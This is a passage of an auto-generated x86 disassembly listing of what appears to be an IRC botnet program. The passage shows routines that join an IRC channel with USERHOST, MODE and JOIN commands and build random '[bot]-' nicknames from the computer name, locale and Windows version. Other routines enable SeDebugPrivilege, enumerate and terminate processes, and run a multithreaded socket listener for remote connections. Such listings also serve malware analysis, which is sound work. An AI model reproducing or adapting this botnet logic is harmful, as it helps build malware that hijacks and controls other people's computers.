		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_D50]
		push	7Fh
		push	eax
		push	esi
		call	sub_418910
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_414E4D
		push	ebx
		push	[ebp+var_4]
		push	offset dword_434538
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_414E4D:				; CODE XREF: sub_40EC43+61EEj
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset dword_434508

loc_414E59:				; CODE XREF: sub_40EC43+575j
					; sub_40EC43+5AE8j ...
		call	sub_40BE01
		pop	ecx

loc_414E5F:				; CODE XREF: sub_40EC43+2A54j
		pop	ecx
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_414E65:				; CODE XREF: sub_40EC43+200j
					; sub_40EC43+215j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		add	esp, 2Ch
		mov	dword_48926C, edi
		jmp	loc_40EED2
sub_40EC43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EAB	proc near		; CODE XREF: sub_408E7C+45p
					; sub_408E7C+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_42313C	; GetCurrentProcess
		push	eax
		call	dword_43EB08	; OpenProcessToken
		test	eax, eax
		jnz	short loc_414ECA
		leave
		retn
; ---------------------------------------------------------------------------

loc_414ECA:				; CODE XREF: sub_414EAB+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43EAE0	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_414F08
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_414EF1
		or	[ebp+var_8], 2
		jmp	short loc_414EF5
; ---------------------------------------------------------------------------

loc_414EF1:				; CODE XREF: sub_414EAB+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_414EF5:				; CODE XREF: sub_414EAB+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43EB90	; AdjustTokenPrivileges
		mov	esi, eax

loc_414F08:				; CODE XREF: sub_414EAB+32j
		push	[ebp+var_4]
		call	dword_423078	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_414EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F16	proc near		; CODE XREF: sub_40EC43+4B70p
					; sub_4150C3+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43EB44, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	short loc_414FBB
		cmp	dword_43EB28, ebx
		jz	short loc_414FBB
		cmp	dword_43EA44, ebx
		jz	short loc_414FBB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_414EAB
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43EB44	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_414FAE
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43EB28	; Process32First
		mov	esi, dword_423078
		test	eax, eax
		jnz	loc_415071

loc_414FA9:				; CODE XREF: sub_414F16+173j
		push	[ebp+var_4]
		call	esi	; CloseHandle

loc_414FAE:				; CODE XREF: sub_414F16+69j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_414EAB
		pop	ecx
		pop	ecx

loc_414FBB:				; CODE XREF: sub_414F16+3Aj
					; sub_414F16+42j ...
		xor	eax, eax

loc_414FBD:				; CODE XREF: sub_414F16+1A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_414FC2:				; CODE XREF: sub_414F16+16Dj
		cmp	[ebp+arg_10], ebx
		jnz	loc_415071
		cmp	[ebp+arg_C], ebx
		jnz	loc_41505C
		cmp	[ebp+arg_4], ebx
		jz	loc_415071
		push	[ebp+var_124]
		push	8
		call	dword_43EB44	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_41501C
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43E9F0	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_415022
		lea	eax, [ebp+var_230]
		jmp	short loc_415028
; ---------------------------------------------------------------------------

loc_41501C:				; CODE XREF: sub_414F16+E4j
		push	[ebp+var_124]

loc_415022:				; CODE XREF: sub_414F16+FCj
		lea	eax, [ebp+var_108]

loc_415028:				; CODE XREF: sub_414F16+104j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_416FB6
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_415071
; ---------------------------------------------------------------------------

loc_41505C:				; CODE XREF: sub_414F16+B8j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41508E

loc_415071:				; CODE XREF: sub_414F16+8Dj
					; sub_414F16+AFj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43EA44	; Process32Next
		test	eax, eax
		jnz	loc_414FC2
		jmp	loc_414FA9
; ---------------------------------------------------------------------------

loc_41508E:				; CODE XREF: sub_414F16+159j
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	dword_4230FC	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	dword_423170	; TerminateProcess
		test	eax, eax
		jnz	short loc_4150BB
		push	edi
		call	esi	; CloseHandle
		jmp	loc_414FBB
; ---------------------------------------------------------------------------

loc_4150BB:				; CODE XREF: sub_414F16+19Bj
		xor	eax, eax
		inc	eax
		jmp	loc_414FBD
sub_414F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150C3	proc near		; DATA XREF: sub_40EC43+5900o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_437CD0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_416FB6
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_415122
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D476
		add	esp, 14h

loc_415122:				; CODE XREF: sub_4150C3+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_414F16
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_415150
		push	offset unk_437C98
		jmp	short loc_415155
; ---------------------------------------------------------------------------

loc_415150:				; CODE XREF: sub_4150C3+84j
		push	offset unk_437C60

loc_415155:				; CODE XREF: sub_4150C3+8Bj
		push	eax
		call	sub_416FB6
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_415182
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D476
		add	esp, 14h

loc_415182:				; CODE XREF: sub_4150C3+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_14]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_4150C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4151A1	proc near		; CODE XREF: sub_40EC43+4B12p
					; sub_416BB5+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_4230FC	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_4151D3
		push	0
		push	esi
		call	dword_423170	; TerminateProcess
		test	eax, eax
		jnz	short loc_4151D3
		push	esi
		xor	edi, edi
		call	dword_423078	; CloseHandle

loc_4151D3:				; CODE XREF: sub_4151A1+1Aj
					; sub_4151A1+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4151A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151D8	proc near		; CODE XREF: sub_4030A7+Ap
					; .data:00403676p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_417012
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_423698
		call	sub_417AC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4151D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415208	proc near		; DATA XREF: sub_41547D+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_3D4]
		inc	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_444574[eax]
		xor	edi, edi
		mov	[ebp+var_C], 1Eh
		mov	[ebp+var_8], edi
		mov	eax, [esi]
		mov	[ebp+var_1F4], ebx
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_43EB0C	; select
		test	eax, eax
		jnz	short loc_41528C
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread

loc_41528C:				; CODE XREF: sub_415208+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43EB3C	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_41540D
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_41540D
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_41540D
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_43EA80	; getpeername
		test	eax, eax
		jz	short loc_415305
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		push	offset dword_437DC4
		call	sub_40BE01
		push	[ebp+arg_0]
		call	sub_416D90
		add	esp, 0Ch
		push	edi
		call	dword_423054	; ExitThread

loc_415305:				; CODE XREF: sub_415208+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_43EADC	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_41532F
		push	[ebp+var_18]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_416FB6
		jmp	short loc_41533D
; ---------------------------------------------------------------------------

loc_41532F:				; CODE XREF: sub_415208+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_4176C0

loc_41533D:				; CODE XREF: sub_415208+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43BCE8
		push	dword ptr [esi]
		call	dword_43EB74	; send
		cmp	dword_489278, edi
		jnz	short loc_41539F
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41544E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41539F
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43EB74	; send
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread

loc_41539F:				; CODE XREF: sub_415208+14Cj
					; sub_415208+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_437D78
		call	sub_40BE01
		push	[ebp+arg_0]
		call	sub_416304
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4153E6
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_437D3C
		call	sub_40BE01
		push	[ebp+arg_0]
		call	sub_416D90
		add	esp, 0Ch
		push	ebx
		call	dword_423054	; ExitThread

loc_4153E6:				; CODE XREF: sub_415208+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_437D04
		call	sub_40BE01
		push	[ebp+arg_0]
		call	sub_416D90
		add	esp, 10h
		push	edi
		call	dword_423054	; ExitThread
sub_415208	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41540D	proc near		; CODE XREF: sub_415208+9Ap
					; sub_415208+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]

loc_415414:				; CODE XREF: sub_41540D+2Aj
		push	0
		lea	eax, [ebp+arg_4+3]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB3C	; recv
		cmp	eax, 1
		jnz	short loc_41544A
		mov	al, byte ptr [ebp+arg_4+3]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41543F
		test	al, al
		jnz	short loc_415414
		xor	eax, eax
		inc	eax

loc_41543C:				; CODE XREF: sub_41540D+3Fj
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41543F:				; CODE XREF: sub_41540D+26j
		push	offset dword_437E00
		call	sub_40BE01
		pop	ecx

loc_41544A:				; CODE XREF: sub_41540D+1Bj
		xor	eax, eax
		jmp	short loc_41543C
sub_41540D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41544E	proc near		; CODE XREF: sub_415208+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415479
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_437E38
		call	sub_40BE01
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_415479:				; CODE XREF: sub_41544E+11j
		xor	eax, eax
		inc	eax
		retn
sub_41544E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41547D	proc near		; DATA XREF: sub_40EC43+55C4o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_43EA9C	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_4154D6
		push	eax
		push	offset dword_438010
		call	sub_40BE01
		push	[ebp+var_4C]
		call	sub_416D90
		add	esp, 0Ch
		push	edi
		call	dword_423054	; ExitThread

loc_4154D6:				; CODE XREF: sub_41547D+3Aj
		push	edi
		push	offset loc_4156FA
		call	dword_423174	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_41550F
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_437FC0
		call	sub_40BE01
		pop	ecx
		pop	ecx
		call	dword_43EA84	; WSACleanup
		push	[ebp+var_4C]
		call	sub_416D90
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread

loc_41550F:				; CODE XREF: sub_41547D+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_43EB24	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_43EBA4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_415685
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_444574[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_43EB50	; bind
		test	eax, eax
		jnz	loc_415685
		push	7FFFFFFFh
		push	ebx
		call	dword_43EB4C	; listen
		test	eax, eax
		jnz	loc_415685
		push	offset dword_437F70
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_40BD8D
		pop	ecx
		mov	[ebp+arg_0], edi

loc_41559E:				; CODE XREF: sub_41547D+15Aj
					; sub_41547D+203j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_43EBB8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_415688
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_43EB04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41559E
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_437F18
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BD8D
		push	edi
		lea	eax, [ebp+var_414]
		push	6
		push	eax
		call	sub_416A7A
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_44456C[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_415208
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_44457C[ecx], eax
		jnz	short loc_41567B
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_437EC8
		call	sub_40BE01
		pop	ecx
		pop	ecx
		jmp	short loc_415688
; ---------------------------------------------------------------------------

loc_415673:				; CODE XREF: sub_41547D+201j
		push	32h
		call	dword_423064	; Sleep

loc_41567B:				; CODE XREF: sub_41547D+1DFj
		cmp	[ebp+var_38], esi
		jz	short loc_415673
		jmp	loc_41559E
; ---------------------------------------------------------------------------

loc_415685:				; CODE XREF: sub_41547D+C8j
					; sub_41547D+ECj ...
		mov	edi, [ebp+arg_0]

loc_415688:				; CODE XREF: sub_41547D+13Cj
					; sub_41547D+1F4j
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_437E80
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_4156C8
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_40D476
		add	esp, 14h

loc_4156C8:				; CODE XREF: sub_41547D+229j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BD8D
		pop	ecx
		push	edi
		call	dword_43EBBC	; closesocket
		push	ebx
		call	dword_43EBBC	; closesocket
		call	dword_43EA84	; WSACleanup
		push	[ebp+var_4C]
		call	sub_416D90
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	ebx

loc_4156FA:				; DATA XREF: sub_41547D+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_41547D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415704	proc near		; CODE XREF: sub_415A3A+4Ap
					; DATA XREF: .data:off_438060o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_3	; "%s"
		push	1Ch
		push	edi
		call	sub_41752A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42E920, esi
		jle	short loc_41575D

loc_415737:				; CODE XREF: sub_415704+57j
		call	sub_417012
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4380B4
		push	1Ch
		push	edi
		call	sub_41752A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42E920
		jl	short loc_415737

loc_41575D:				; CODE XREF: sub_415704+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415704	endp


; =============== S U B	R O U T	I N E =======================================



sub_415762	proc near		; CODE XREF: sub_40EC43+3E49p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		pop	ecx
		call	sub_417012
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42E920
		test	esi, esi
		jle	short loc_4157A5

loc_41578F:				; CODE XREF: sub_415762+41j
		call	sub_417012
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_41578F

loc_4157A5:				; CODE XREF: sub_415762+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_415762	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset dword_4380BC
		push	eax
		push	esi
		call	dword_423154	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41752A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42E920, esi
		jle	short loc_415818

loc_4157F2:				; CODE XREF: .data:00415816j
		call	sub_417012
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4380B4
		push	1Ch
		push	edi
		call	sub_41752A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42E920
		jl	short loc_4157F2

loc_415818:				; CODE XREF: .data:004157F0j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_423178	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4380C0
		push	1Ch
		push	edi
		call	sub_41752A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42E920, esi
		jle	short loc_41588D

loc_415867:				; CODE XREF: .data:0041588Bj
		call	sub_417012
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4380B4
		push	1Ch
		push	edi
		call	sub_41752A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42E920
		jl	short loc_415867

loc_41588D:				; CODE XREF: .data:00415865j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43BCE8
		mov	dword ptr [ebp-94h], 94h
		call	dword_423144	; GetVersionExA
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415917
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4158F7
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4158E7
		mov	esi, offset a95	; "95"

loc_4158E7:				; CODE XREF: .data:004158E0j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415953
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415953
; ---------------------------------------------------------------------------

loc_4158F7:				; CODE XREF: .data:004158D7j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415907
		mov	esi, offset a98	; "98"
		jmp	short loc_415953
; ---------------------------------------------------------------------------

loc_415907:				; CODE XREF: .data:004158FEj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_41594E
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415953
; ---------------------------------------------------------------------------

loc_415917:				; CODE XREF: .data:004158CEj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_41594E
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415930
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415953
; ---------------------------------------------------------------------------

loc_415930:				; CODE XREF: .data:00415927j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415940
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415953
; ---------------------------------------------------------------------------

loc_415940:				; CODE XREF: .data:00415937j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_4380CC
		jz	short loc_415953

loc_41594E:				; CODE XREF: .data:0041590Ej
					; .data:0041591Ej
		mov	esi, offset dword_42CFD8

